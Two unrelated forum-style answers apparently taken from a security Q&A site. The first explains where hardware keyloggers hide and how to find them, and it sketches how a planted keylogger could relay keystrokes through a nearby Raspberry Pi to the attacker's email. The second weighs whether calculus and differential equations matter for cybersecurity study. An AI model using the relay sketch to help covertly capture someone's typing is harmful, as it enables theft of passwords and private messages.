Standart wired keyborads are more secure because you can detect them easily. Some keyloggers can be placed inside the keyboard if there is a empty place. You need to open the keyboard and find some kind of circuit looks suspicous. Some others can be placed on the line that goes through from your keyboard to your mainboard. That devices can store keystrokes in their memory or transmit them to another device in range. Also there are hardware keyloggers can be plugged in to extension ports such as PCI. You can easily detect them by checking your mainboard.

Generally, if someone put a hardware keylogger somewhere around, they need to take it to read data. However as I say, you can store keystrokes with a hardware keylogger and build it to send keystrokes to another device. That device can be placed in anywhere and also can be sending every keystrokes received instantly. For example if I put a hardware keylogger inside your keyboard or on cord, I can make it transmit a mini-computer in range (such as Raspberry) and that raspberry can send it to my e-mail with Wi-Fi.


I don't want to say definitively no, but trigonometry, calculus (including ODEs) doesn't come up much in cryptography or cyber-security.  That said its still part of a basic STEM background mathematical literacy, so I'd personally recommend taking the course just as part of a standard breadth of general education.

There are two examples I can come up with.  First, is some CS topics that could be of relevance to a cyber-security expert, will at times involve differential equations in the theory behind it -- specifically with Machine Learning and Artificial Intelligence.   Granted, its not going to be solve y'' + 3y' + 1 = exp(2 x) type things you'll learn to solve in a typical ODE class.  It's more just being comfortable with the basic concept of differential equations.  For example, browse the lecture nodes to the Stanford version of Andrew Ng's ML class).

The other example is if for your cyber-security needs require you knowing some physics, which frequently will involve differential equations.  E.g., if you need to understand the physics of wireless transmission.

That said, its more relevant learning basic number theory and linear algebra.  Somewhat relevant: is this question "What is the lowest level of math needed in order to understand encryption".